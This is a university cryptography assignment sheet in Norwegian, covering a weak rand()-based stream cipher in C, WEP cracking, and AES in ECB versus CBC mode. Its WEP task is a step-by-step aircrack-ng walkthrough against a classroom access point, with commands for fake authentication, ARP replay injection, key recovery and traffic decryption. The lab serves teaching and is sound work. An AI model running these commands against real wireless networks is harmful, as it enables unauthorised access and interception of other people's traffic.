Arbeidskrav kryptografi – gruppeoppgåve
INGF600 hausten 2017

31. oktober 2017

Innlevering

Kvar gruppe leverer eitt svar. Innleveringa skal vere ein rapport frå utførsel av av dei tre oppgåvene i tillegg til svar på teorispørsmål.

Innlevering **på papir** innan 14. november **kl. 09:00** i ekse utanfor Mass' kontor.

Førebuingar

For å løyse oppgåvene krevst ein PC med linux. I oppgåve 2 krevst det òg nokre spesielle Wifi USBar. Desse er det berre 4 av så gruppene må vere greie med kvarandre.

Av programvare skal de i oppgåve 2 nytte Aircrack Next Generation (aircrack-ng) og Wireshark. I oppgåve 1 og 3 treng de gcc og i oppgåve 3 skal de òg nytte OpenSSL. Ei enkel løysing er å bruke Kali Linux som kjem med all programvare pre-installert (www.kali.org).

Oppgåve 1: Straumchiffer

I denne oppgaven skal vi se på en hjemmesnekra krypteringsfunksjon programmert i C. Krypteringsfunksjonen bruker random-funksjonen `rand` fra standardbiblioteket i C (`stdlib`). Funksjonen `rand` genererer semi-tilfeldige tall og er en såkalt "linear congruential generator". Den virker slik at den vil generere en serie med tall fra et utgangs-tall som vi kaller et "seed". En egen funksjon `srand` brukes til å initialisere seed-et.

I krypteringsfunksjonen er både input-en (klarteksten) og output-en (chiffer-teksten) arrays av bytes (dvs. arrays av `unsigned char`). Krypteringsnøkkelen er et tall (et `unsigned int`) og dette tallet brukes som seed til random-funksjonen. Random-funksjonen brukes til å generere en "pad" on-the-fly. Det vil si at krypteringsfunksjonen krypterer en og en byte fra input-en ved å la random-funksjonen generere en semi-tilfeldig byte (en pad-byte) for hver byte i input-en og så gjøre bit-vis XOR mellom input-byten og pad-byten.

På grunn av egenskapene til XOR, og fordi et bestemt seed alltid vil produsere den samme serien med semi-tilfeldige bytes, er dekryptering lett. For å dekryptere en chiffertekst som er kryptert med krypteringsfunksjonen trenger

man bare å bruke den samme funksjonen med den samme nøkkelen.

Dette er koden til krypteringsfunksjonen:

```
void encrypt_decrypt(unsigned int key,
                     unsigned char plain[],
                     unsigned char cipher[]) {

    /* Use the key as seed for the random function */
    srand(key);

    /* Get length of plaintext */
    int len = strlen(plain);

    /* For each byte in the plaintext */
    int i;
    for (i = 0; i < len; i++) {

        /* Obtain a random byte to use as pad */
        unsigned char pad = (unsigned char) rand();

        /* Encrypt a byte by XORing it with the pad */
        cipher[i] = plain[i] ^ pad;
    }
}
```

Oppgave:

a) Lag et C-program som krypterer og dekrypterer med `encrypt_decrypt`-funksjonen og demonstrer at funksjonen fungerer.

b) Hvorfor er bruken av `rand`-funksjonen problematisk?

c) I tillegg er krypteringsmetoden sårbar mot både brute force-angrep og nøkkelkollisjonsangrep. Forklar hvorfor. Hva måtte vi gjøre om vi ville "redde" krypteringsmetoden?

Oppgåve 2: WEP

`WEP` (Wired Equivalent Privacy) er fyrstegenerasjons kryptering for Wi-Fi. Sjølv om det for lengje sidan er erstatta av det mykje sikrare `WPA2` kan ein framleis sjå det i bruk. I denne oppgåva skal de nytte programvaren Aircrack Next Generation til å knekke krypteringa til eit Wi-Fi-aksesspunkt som nyttar `WEP`.

`WEP` er eit straumchiffer som nyttar algoritmen `RC4` med ein 3-bytes initialization vector IV og ein 13-bytes nøkkel K. Sidan `RC4` berre tek éin input-verdi vert IV og K konkatenert. Dvs

$$C = E_K^{\texttt{WEP}}(P) = P \oplus f(K, IV) = P \oplus \texttt{RC4}(IV \| K)$$

Vi kan kalle $S = IV \| K$ for ein sesjonsnøkkel. Lat $S[i]$ vere i-te byte i sesjonsnøkkelen. Vi har då at

$$\begin{aligned} S[1] &= IV[1] \\ S[2] &= IV[2] \\ S[3] &= IV[3] \\ S[4] &= K[1] \\ &\vdots \\ S[16] &= K[13] \end{aligned}$$

Lat X vere bit-straumen som genererast frå `RC4` med sesjonsnøkkel S, dvs. $X = \texttt{RC4}(S)$. `RC4` har den svakheita at om ein kjenner dei i fyrste bytes av sesjonsnøkkelen $S[1..i]$ og i-te byte av bit-straumen $X[i]$ finst det ein metode for å gjette sesjonsnøkkelens $(i+1)$-te byte $S[i+1]$ med sannsyn $\frac{1.36}{256} > \frac{1}{256}$. (Sidan det finst 256 bytes vil det seie med høgre sannsyn enn om neste byte i sesjonsnøkkelen var tilfeldig.) Eit kjent åtak mot `WEP` (PTW-åtaket) utnyttar denne ulikskapen til å utleie nøkkelen K.

I åtaket samlar ein ARP-pakker som er krypterte med med same nøkkel K men ulike IV. ARP-pakker er alltid av same lengd og difor lette å gjenkjenne sjølv når dei er krypterte. Vidare er dei 16 fyrste bytes alltid identiske. Dvs. at om $C = P \oplus X$ er ei kryptert ARP-pakke P, kjenner ein alltid $P[1..16]$ og kan finne dei fyrste 16 bytes av bit-straumen X:

$$C[1..16] \oplus P[1..16] = P[1..16] \oplus X[1..16] \oplus P[1..16] = X[1..16]$$

I tillegg vil ein sjølvsagt kjenne $S[1..3] = IV$. Ved å samle tiltrekkeleg med IV-ar og bit-straumar på denne måten kan ein ved hjelp av statistiske metodar finne $S[4]$ frå $S[1..3]$ og $X[3]$, deretter $S[5]$ frå $S[1..4]$ og $S[4]$, osb. til ein har funne heile S. Sidan $K = S[4..16]$ har ein også funne krypteringsnøkkelen.

Oppgåve:

a) Bruk framgangsmåten under til å knekke `WEP`-krypteringa til Wi-Fi-et som er sett opp i klasserommet.

b) Bruk Wireshark til å samanlikne pakke-capture før og etter dekryptering.

c) På vedlegg 1, fra boka (*Introduction to computer security*) er det skildra fire kategoriar åtak mot kryptering. Kva kategori fell åtaket frå oppgåve a) under?

d) I dei fyrste implementasjonane av `WEP` var ikkje IV-ane tilfeldige men sekvensnummer. Ein konsekvens av dette var høgt gjenbruk av IV-ar. Forklar korleis dette opna for nøkkelkollisjonsåtak mot `WEP`.

Framgangsmåte

Aircrack Next Generation er ei programpakke for hacking av trådlausnett. Pakka består av ulike program som løyser ulike delar av oppgåva. Alle er kommandolinebaserte.

Oppsett

`airmon-ng` brukast til å identifisere chipsettet til Wi-Fi-deviset (i datamaskina de nyttar til åtaket) og setje det i monitoreringsmodus. For å identifisere Wi-Fi-devices:

```
# airmon-ng

Interface  Chipset          Driver

wlan0      Unknown          brcmsmac - [phy0]
wlan1      Ralink 2570 USB  rt2500usb - [phy1]
```

Datamaskina i eksempelet har to Wi-Fi-devices. Av desse er det berre `wlan1` som vert gjenkjent av `airmon-ng`, så vi vil nytte oss av dette. Det fyrste vi treng å gjere er å setje det i monitoreringsmodus:

```
# airmon-ng start wlan1

Interface  Chipset          Driver

wlan0      Unknown          brcmsmac - [phy0]
wlan1      Ralink 2570 USB  rt2500usb - [phy1]
                  (monitor mode enabled on mon0)
```

`mon0` representerer Wi-Fi-devicet i monitoreringsmodus, og er det logiske devices vi skal nytte. Dersom `wlan1` framleis er tilstades må det skruast av:

```
# airmon-ng stop wlan1

Interface  Chipset          Driver

mon0       Ralink 2570 USB  rt2500usb - [phy1]
wlan0      Unknown          brcmsmac - [phy0]
wlan1      Ralink 2570 USB  rt2500usb - [phy1]
                  (monitor mode disabled)
```

Det neste vi skal gjere er å nytte `airodump-ng` til å teste om devicet kan fange opp nettverkstrafikk:

```
# airodump-ng mon0
```

Når vi monitorerer vil eit trådlaus-aksesspunkt visast omtrent som dette:

```
BSSID              PWR Beacons #Data #/S CH MB ENC CIPHER AUTH ESSID

AA:AA:AA:AA:AA:AA -43      44     0   0 11 54 WEP WEP          SomeWifi
```

Medan `airodump-ng` framleis køyrer skal vi nytte `aireplay-ng` (i eit anna terminalvindauge) til å gjere ein *injection test*, dvs. å teste om devicet vårt kan injisere trafikk i nettverket:

```
# aireplay-ng -9 mon0

22:26:07  Trying broadcast probe requests...
22:26:07  Injection is working!
```

Resultatet viser at vi kan gjere injeksjonar. (Det treng vi i neste steg.)

Åtak

Frå monitoreringa over kan vi sjå at aksesspunktet `SomeWifi` nyttar `WEP` og difor er sårbart mot eit `WEP`-åtak.

I åtaket må vi samle ei stor mengd ARP-pakkar som vi kan ekstrahere *IV*-ar frå – rundt 40.000 er naudsynt for å knekke krypteringa. For å speede opp prosessen skal vi gjere *ARP replay*, dvs. re-sende *ARP requests* for å generere *ARP responses*. For å samle opp trafikken nyttar vi `airodump-ng`. For å fange trafikken til `SomeWifi` brukar vi kommandoen:

```
# airodump-ng -c 11 --bssid AA:AA:AA:AA:AA:AA -w output mon0
```

(der `output` er filnamn for capture-fila; dvs. den fanga trafikken vert lagra i `output-01.cap`.)

Åtaket har to steg. Fyrst gjer vi ein *fake authentication* som gjev ei temporær binding til aksesspunktet (der `BB:BB:BB:BB:BB:BB` er MAC-adressa til `wlan1`):

```
# aireplay-ng -1 0 -e SomeWifi -a AA:AA:AA:AA:AA:AA -h BB:BB:BB:BB:BB:BB mon0

22:36:08  Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on
  channel 11

22:36:08  Sending Authentication Request (Open System) [ACK]
22:36:08  Authentication successful
22:36:08  Sending Association Request [ACK]
22:36:08  Association successful :-) (AID: 1)
```

Før vi får tidsavbrot i bindinga gjer vi sjølve *ARP replay*-åtaket:

```
# aireplay-ng -3 -b AA:AA:AA:AA:AA:AA -h BB:BB:BB:BB:BB:BB mon0

22:36:48  Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on
  channel 11
Saving ARP requests in replay_arp-0306-223648.cap
You should also start airodump-ng to capture replies.
Read 636 packets (got 147 ARP requests and 122 ACKs) ...
...
Read 313808 packets (got 122222 ARP requests and 62478 ACKs) ...
```

Når vi har samla tilstrekkeleg med pakker nyttar vi `aircrack-ng` til å knekke krypteringa og finne krypteringsnøkkelen (dette kan vi gjere medan `airodump-ng` framleis samlar trafikk):

```
# aircrack-ng -b AA:AA:AA:AA:AA:AA output-01.cap
```

Tilslutt kan vi nytte nøkkelen og programmet `airdecap-ng` til å dekrytpere trafikken vi har fanga:

```
# airdecap-ng -w <WEP-nøkkel> output-01.cap

Total number of packets read        387931
Total number of WEP data packets    255768
```

```
Total number of WPA data packets         0
Number of plaintext data packets         0
Number of decrypted WEP  packets    255768
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0
```

Den dekrypterte trafikken vil vi finne i fila `output-01-dec.cap`.

Oppgåve 3: AES med ECB og CBC

Blokkchiffer kan nyttast i ulike operasjonsmodus (*modes of operation*). I denne oppgåva skal vi sjå på to av dei: ECB og CBC.

Electronic Codebook (ECB) Det enklaste måten å opperere eit blokkchiffer på er sjølvsagt å kryptere blokkane kvar for seg utan nokon avhengnad mellom dei. Denne modusen kallest *Electronic Codebook* (ECB).

- Kvar blokk krypterast og dekrypterast for seg:

$$\begin{aligned} C_i &= E_K(B_i) \\ B_i &= D_K(C_i) \end{aligned}$$

- B_i er i-te blokk i klarteksten og C_i er i-te blokk i chifferteksten.

Cipher-Block Chaining (CBC) Andre operasjonsmodus har måtar å gjere blokkane avhengige av einannan. Den viktigaste av dei er *Cipher-Block Chaining* (CBC).

- Kvar blokk XORed med førre chifferblokk

$$\begin{aligned} C_1 &= E_K(B_1 \oplus IV) \\ C_i &= E_K(B_i \oplus C_{i-1}) \end{aligned}$$

- IV = initialization vector (tilfeldige 128-bits)
- Dekryptering:

$$B_i = D_K(C_i) \oplus C_{i-1}$$

I denne oppgåva skal de kryptere ei biletefil (bitmap) med AES-128 i dei to ulike operasjonsmodusane.

Oppgåve:

a) Følg framgangsmåten for å kryptere eit bilete med AES-128 og ECB.

b) Krypter det same biletet med den same nøkkelen men med CBC.

c) Samanlikne dei to bileta. Kvifor har dei blitt som dei har blitt?

Framgangsmåte

Bitmap er eit veldig enkelt bileteformat; ei bitmap-fil har fyrst ein header på 138 bytes, deretter er kvart pixel i biletet representert med tre eller fire bytes. For at det skal vere mogleg å sjå på biletet også etter kryptering skal ikkje headeren krypterast. For å få til dette kan de nytte dei to programma `splitbmp` som delar ei bitmap-fil opp i `HEAD` og `BODY` og `mergebmp` som set saman dei to delane igjen. Bruk eit bilete med store einsfarga felt, til dømes fila `fih.bmp`. Til sjølve krypteringa kan de nytte programmet `openssl`.

Kompiler `splitbmp` og `mergebmp`:

```
# gcc -o splitbmp splitbmp.c
# gcc -o mergebmp mergebmp.c
```

Bruk `openssl` til å lage ein tilfeldig krypteringsnøkkel (128 bytes):

```
# openssl rand -hex -out key.dat 128
```

Splitt biletefila i `HEAD` og `BODY`:

```
# ./splitbmp fih.bmp
```

Krypter `BODY`:

```
# openssl enc -aes-128-ecb -pass file:key.dat -in BODY -out BODY.enc -nosalt
```

(For CBC istadenfor ECB, bruk `-aes-128-cbc`.)

Set saman `HEAD` med kryptert `BODY`:

```
# ./mergebmp HEAD BODY.enc
```

Den nye biletefila har fått namnet `MERGE.bmp`.